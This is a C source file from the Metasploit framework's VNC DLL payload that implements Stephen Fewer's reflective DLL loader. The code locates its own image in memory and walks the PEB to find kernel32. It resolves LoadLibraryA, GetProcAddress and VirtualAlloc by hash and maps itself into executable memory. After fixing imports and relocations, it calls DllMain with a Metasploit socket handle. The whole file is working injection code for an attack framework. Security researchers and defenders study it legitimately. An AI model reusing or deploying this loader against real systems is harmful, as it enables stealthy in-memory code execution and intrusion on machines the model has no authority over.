metasploit-framework/external/source/vncdll/loader/ReflectiveLoader.c

452 lines
18 KiB
C

//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#ifdef _WIN64
#pragma intrinsic( _ReturnAddress )
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
#endif
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
USHORT usCounter;
// the initial location of this image in memory
UINT_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
UINT_PTR uiBaseAddress;
// variables for processing the kernels export table
UINT_PTR uiAddressArray;
UINT_PTR uiNameArray;
UINT_PTR uiExportDir;
UINT_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
UINT_PTR uiHeaderValue;
UINT_PTR uiValueA;
UINT_PTR uiValueB;
UINT_PTR uiValueC;
UINT_PTR uiValueD;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
#ifdef _WIN64
uiLibraryAddress = eip();
#else
__asm call geteip
__asm geteip: pop uiLibraryAddress
#endif
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
uiBaseAddress = __readfsdword( 0x30 );
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
break;
}
// get the next entry
uiValueA = DEREF( uiValueA );
}
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( UINT_PTR );
if( uiValueD )
uiValueD += sizeof( UINT_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
/*
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
// check if their are any exception etries present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// get the number of entries
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all entries
while( uiValueA-- )
{
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
// get the next entry
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
}
}
*/
// STEP 7: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//